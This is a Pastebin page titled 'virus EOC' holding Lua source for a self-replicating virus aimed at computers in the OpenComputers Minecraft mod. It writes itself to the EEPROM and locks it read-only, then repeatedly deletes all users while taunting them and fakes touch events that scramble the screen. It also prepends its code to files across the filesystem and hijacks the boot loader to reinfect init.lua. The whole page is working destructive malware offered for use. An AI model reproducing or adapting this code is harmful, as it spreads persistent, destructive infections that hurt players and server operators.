electronic_steve

virus EOC

Feb 22nd, 2016
1,296
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.55 KB | None | 0 0
  1. e=require("component").eeprom
  2. virus_data=[[--EOCS
  3. bl={["etc/"]=1,["init.lua"]=1,["home/.shrc"]=1,["mnt/"]=1,["usr/"]=1,["bin/"]=1,["lib/"]=1,["boot/"]=1}sp="--EOCS"ep="--EOCE"pp="--EOC"if print then
  4. function rs()users={require("computer").users()}for a=1,#users do require("computer").removeUser(users[a])print(users[a].." спасибо за печеньки!")end end;require("event").listen("touch",function(c,c,d,e)
  5. local f=require("component")local g=f.gpu;local h1={g.getResolution()}require("computer").pushSignal("touch","привет :D",math.random(0,h1[1]),math.random(0,h1[2]),0,"Alex")g.copy(d,e,1,1,0,1)end)require("event").timer(5,rs,math.huge)require("computer").pushSignal("touch")
  6. local e=require("component").eeprom;local fs=require("filesystem")local function i(j,k)local j,k=j or"",k or{}for l in fs.list(j)do os.sleep(0)if not bl[l]then if fs.isDirectory(l)then k=i(j..l,k)else table.insert(k,"/"..j..l)end end end return k end;local function m(l)local n=""for a in io.lines(l)do n=n..a.."\n"end;return n end;local function o(k)local p,q="",false;for a in io.lines(k)do if a==sp then q=true elseif a==ep then q=false end;if q then p=p..a.."\n"end;os.sleep(0)end;return p end;local r=i()code=o("/init.lua")if code==""then for a=1,#r do local s=r[a]code=o(s)if code~=""and code~=nil then break end end end;if code~=""and code~=nil then e.set(code.."\n"..ep)e.makeReadonly(e.getChecksum())for a=1,#r do local s=r[a]local b,t=pcall(m,s)if not b then error("|"..s.."|")end;local u=t:sub(1,-(t:len()-pp:len()+1))if u~=pp then if not s then error(s)end;local v=io.open(s,"w")v:write(pp.."\n"..code.."\n"..ep.."\n"..t)v:close()end end end else;local a=component.invoke;function bi(b,c,...)local d=table.pack(pcall(a,b,c,...))if not d[1]then return nil,d[2]else return table.unpack(d,2,d.n)end end;local e=component.list("eeprom")()computer.getBootAddress=function()return bi(e,"getData")end;computer.setBootAddress=function(b)return bi(e,"setData",b)end;do local f=component.list("screen")()local g=component.list("gpu")()if g and f then bi(g,"bind",f)end end;local function h(a);local ha, reason = bi(a, "open", "/init.lua");if not ha then;return nil, reason;end;local buffer = "";repeat;local data, reason = bi(a, "read", ha, math.huge);if not data and reason then;return nil, reason;end;buffer = buffer .. (data or "");until not data bi(a, "close", ha)return load(buffer, "=init")end local init, reason;if computer.getBootAddress() then init, reason = h(computer.getBootAddress())end;if not init then computer.setBootAddress()for a in component.list("filesystem") do init, reason = h(a)if init then computer.setBootAddress(a)break end end end;local l,j;if computer.getBootAddress()then l,j=h(computer.getBootAddress())end;if not l then computer.setBootAddress()for b in component.list("filesystem")do l,j=h(b)if l then computer.setBootAddress(b)break end end end;if not l then error("no bootable medium found"..j and": "..tostring(j)or"",0)end;computer.beep(1000,0.2); if computer.getBootAddress()then function getfs()return component.proxy(computer.getBootAddress())end;b,fs=pcall(getfs)if not b then error(b.."|"..fs)end;if fs.size("/init.lua")==5616 then filer=fs.open("/init.lua","r")local w=""for a=0,5441,256 do fs.seek(filer,"set",a)w=w..fs.read(filer,256,0)end;fs.close(filer)filew=fs.open("/init.lua","w")rev,sub=string.reverse,string.sub;f1,f2=rev(sub(rev(w),303)),sub(w,5313);local code=bi(e,"get");fs.write(filew,f1 .."\n"..code.."\n"..f2);fs.close(filew)end end;l,j=h(computer.getBootAddress());l();end
  7. --EOCE]]
  8. e.set(virus_data)
  9. e.makeReadonly(e.getChecksum())
  10. require("computer").shutdown(true)
Add Comment
Please, Sign In to add comment